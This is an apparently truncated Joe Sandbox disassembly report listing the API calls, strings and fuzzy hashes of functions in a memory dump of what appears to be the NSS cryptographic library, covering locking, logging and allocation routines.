Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

TlsGetValue.KERNEL32 ref: 6C717CA0
EnterCriticalSection.KERNEL32(?), ref: 6C717CB4
PR_Unlock.NSS3 ref: 6C717CCF

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

TlsGetValue.KERNEL32 ref: 6C717D04
EnterCriticalSection.KERNEL32(?), ref: 6C717D1B
realloc.MOZGLUE(-00000050), ref: 6C717D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C717DF4
PR_Unlock.NSS3 ref: 6C717E0E

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 042737fcf677e2598f9ef8874a53c34aed998e4977a4669e71269a1cdda90708
Instruction ID: 055f874cf1c0d6ccdcfe7bb19a4c43ff672a5e565d3dbb87a97d661c097965ec
Opcode Fuzzy Hash: 042737fcf677e2598f9ef8874a53c34aed998e4977a4669e71269a1cdda90708
Instruction Fuzzy Hash: F4512371A0C1049FDB215F29CE4AA7537B5FB0231CF1941BAED4487B62EB30E865CAC1

Function 6C767870 Relevance: 18.1, APIs: 12, Instructions: 138stringmemorythreadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,6C7691C5), ref: 6C76788F

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7691C5), ref: 6C7678BB
PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7691C5), ref: 6C7678FA
strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C767930
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C767951
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C767964
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C76797A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C767988
memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C767998
free.MOZGLUE(00000000), ref: 6C7679A7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C7679BB
PR_GetCurrentThread.NSS3(?,?,?,?,6C7691C5), ref: 6C7679CA

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Error$Alloc_HashLookupTablememcpy$ConstCurrentFindItem_ThreadZfreefreestrchrstrcmpstrlen
String ID:
API String ID: 1862276529-0
Opcode ID: f801ba7624d3521db9502a7a770bee5612ac31073f608539064fab1d37d935e7
Instruction ID: e562ce6b078bcb97d573fcfc657cc51c6ae394462c010e3bb3b5d604210b5ace
Opcode Fuzzy Hash: f801ba7624d3521db9502a7a770bee5612ac31073f608539064fab1d37d935e7
Instruction Fuzzy Hash: DD4197B1A003029BEB108B7BDE49B6777E8AF45398F140534EC1997F51E721EC04CBA1

Function 6C684C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D97
PR_Lock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684DBA
PR_WaitCondVar.NSS3 ref: 6C684DD4
PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684DEF

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 224b6976bdba805b25e2ec61be61419c950873ee0cc85a5549816226993b9e6f
Instruction ID: 871c29196e622a4c04161c6f1f5387901abddff3fda0d4b41ca3c12f0a23cbad
Opcode Fuzzy Hash: 224b6976bdba805b25e2ec61be61419c950873ee0cc85a5549816226993b9e6f
Instruction Fuzzy Hash: 9A41C0B5A09611CFCB10AF79C0981697BF8BF0A318F055679DC889B711EB70D881CBDA

Function 6C817CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C817CE0

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817D36
PR_Realloc.NSS3(?,00000080), ref: 6C817D6D
PR_GetCurrentThread.NSS3 ref: 6C817D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C817DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817DD8
malloc.MOZGLUE(00000080), ref: 6C817DF8
PR_GetCurrentThread.NSS3 ref: 6C817E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C817DF0
:%s:%d:0x%lx, xrefs: 6C817DB9

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 6452ceb26844328edfbd0e0c0a5d19ec5c6c7f6d64be91328a5e74eb14ef8838
Instruction ID: 52a30f3625c822e467a1f4727a9bc33763aa8794a39dc418ba80890e7ebe65da
Opcode Fuzzy Hash: 6452ceb26844328edfbd0e0c0a5d19ec5c6c7f6d64be91328a5e74eb14ef8838
Instruction Fuzzy Hash: D341D6B161420A9FDB14CF28CE84D6B37E6FF85318B25496CE8198BF51D731E801CBA1

Function 6C817E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C817E46

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C817EAF
PR_ImportFile.NSS3(?), ref: 6C817ECF
PR_GetCurrentThread.NSS3 ref: 6C817ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C817F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C817F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C817F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C817E41
%d:0x%lx, xrefs: 6C817EA9

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 590d7700fe6e05c8d13fe640a59d0d63ca294359aeba196bd326841061084d15
Instruction ID: 20905fa041d150507a76e906d2e22353f51296070c2fcb1abc91ab42239c29b1
Opcode Fuzzy Hash: 590d7700fe6e05c8d13fe640a59d0d63ca294359aeba196bd326841061084d15
Instruction Fuzzy Hash: 88312770A0811B9BEB209B69CA40AABB7E9BF06748F104D39D40593E11E761DD04CBD2

Function 6C724E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C724E90
EnterCriticalSection.KERNEL32 ref: 6C724EA9
TlsGetValue.KERNEL32 ref: 6C724EC6
EnterCriticalSection.KERNEL32 ref: 6C724EDF
PL_HashTableLookup.NSS3 ref: 6C724EF8
PR_Unlock.NSS3 ref: 6C724F05
PR_Now.NSS3 ref: 6C724F13
PR_Unlock.NSS3 ref: 6C724F3A

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

Strings

bUrl, xrefs: 6C724F3F
bUrl, xrefs: 6C724E5C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUrl$bUrl
API String ID: 326028414-462365213
Opcode ID: ee6a911a6e3d8d823119712561e11c1e41660212d66f4c30c1cc7034a5801577
Instruction ID: 8f99d4792ed39a23dc0c318ef29647433782ebdda077b6c8892a977cf55d1246
Opcode Fuzzy Hash: ee6a911a6e3d8d823119712561e11c1e41660212d66f4c30c1cc7034a5801577
Instruction Fuzzy Hash: DA4168B4A00605DFCB10EF68C5848AABBF4FF49318B058669EC599B711EB34E885CFD1

Function 6C74ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C74DE64), ref: 6C74ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C74ED22

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PL_FreeArenaPool.NSS3(?), ref: 6C74ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C74ED6B
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C74ED38

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C74ED52
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C74ED83
PL_FreeArenaPool.NSS3(?), ref: 6C74ED95
PL_FinishArenaPool.NSS3(?), ref: 6C74ED9D

Part of subcall function 6C7664F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C76127C,00000000,00000000,00000000), ref: 6C76650E

Strings

security, xrefs: 6C74ED06

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 7da1b89c4d4878e0c870b65e7a79600608f0e622d2de5da66ff0e3fa050bdd6c
Instruction ID: 064460ce8181ff51a4ab2d13fb3278918617d9c8da9fc2e85191e073d905ea36
Opcode Fuzzy Hash: 7da1b89c4d4878e0c870b65e7a79600608f0e622d2de5da66ff0e3fa050bdd6c
Instruction Fuzzy Hash: C61180729002186BD7209666AF4DBBBB278AF4171DF444934EC1462F40FB74A70CCAE7

Function 6C732CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C732CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C732D07

Part of subcall function 6C8109D0: PR_Now.NSS3 ref: 6C810A22
Part of subcall function 6C8109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C810A35
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C810A66
Part of subcall function 6C8109D0: PR_GetCurrentThread.NSS3 ref: 6C810A70
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C810A9D
Part of subcall function 6C8109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C810AC8
Part of subcall function 6C8109D0: PR_vsmprintf.NSS3(?,?), ref: 6C810AE8
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810B19
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810B48
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810C76
Part of subcall function 6C8109D0: PR_LogFlush.NSS3 ref: 6C810C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C732D22

Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(?), ref: 6C810B88
Part of subcall function 6C8109D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C810C5D
Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C810C8D
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810C9C
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(?), ref: 6C810CD1
Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C810CEC
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810CFB
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810D16
Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C810D26
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810D35
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C810D65
Part of subcall function 6C8109D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C810D70
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810D90
Part of subcall function 6C8109D0: free.MOZGLUE(00000000), ref: 6C810D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C732D3B

Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C810BAB
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810BBA
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C732D54

Part of subcall function 6C8109D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C810BCB
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810BDE
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(?), ref: 6C810C16

Strings

pPin = 0x%p, xrefs: 6C732D1D
pLabel = 0x%p, xrefs: 6C732D4F
ulPinLen = %d, xrefs: 6C732D36
C_InitToken, xrefs: 6C732CE7
slotID = 0x%x, xrefs: 6C732D02

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 47578aa3061a74ee25ef9b56228af4af52c3e68ef68d27c3d5f106f93df604b5
Instruction ID: 6856a56f25967eaefc981f22ed909b3956ff5750b841cd79700bf2c10bd0b7bb
Opcode Fuzzy Hash: 47578aa3061a74ee25ef9b56228af4af52c3e68ef68d27c3d5f106f93df604b5
Instruction Fuzzy Hash: 2621F175205054AFDB219B55DF4DA693BB5EB8231DF046470F5089BB23CB38A858CBE1

Function 6C810EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C6F2357), ref: 6C810EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C6F2357), ref: 6C810EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C810EE6

Part of subcall function 6C8109D0: PR_Now.NSS3 ref: 6C810A22
Part of subcall function 6C8109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C810A35
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C810A66
Part of subcall function 6C8109D0: PR_GetCurrentThread.NSS3 ref: 6C810A70
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C810A9D
Part of subcall function 6C8109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C810AC8
Part of subcall function 6C8109D0: PR_vsmprintf.NSS3(?,?), ref: 6C810AE8
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810B19
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810B48
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810C76
Part of subcall function 6C8109D0: PR_LogFlush.NSS3 ref: 6C810C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C810EFA

Part of subcall function 6C6FAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6FAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F2B

Strings

Aborting, xrefs: 6C810EB3
Assertion failure: %s, at %s:%d, xrefs: 6C810ED9, 6C810EE5, 6C810F06, 6C810F0B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 199c7f2a02c49eeafef970717460c95968a5641a3ab1ae3a49c3ed7b48723253
Instruction ID: 325c1dda61198b920c477df8adbc04f468b77440543c4db2ba49722e2fe7e217
Opcode Fuzzy Hash: 199c7f2a02c49eeafef970717460c95968a5641a3ab1ae3a49c3ed7b48723253
Instruction Fuzzy Hash: E6F0A4B59001187BDA617B609C49C9B3E2DDF46269F404834FD0956603DB79E924DAF3

Function 6C774DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C774DCB

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C774DE1

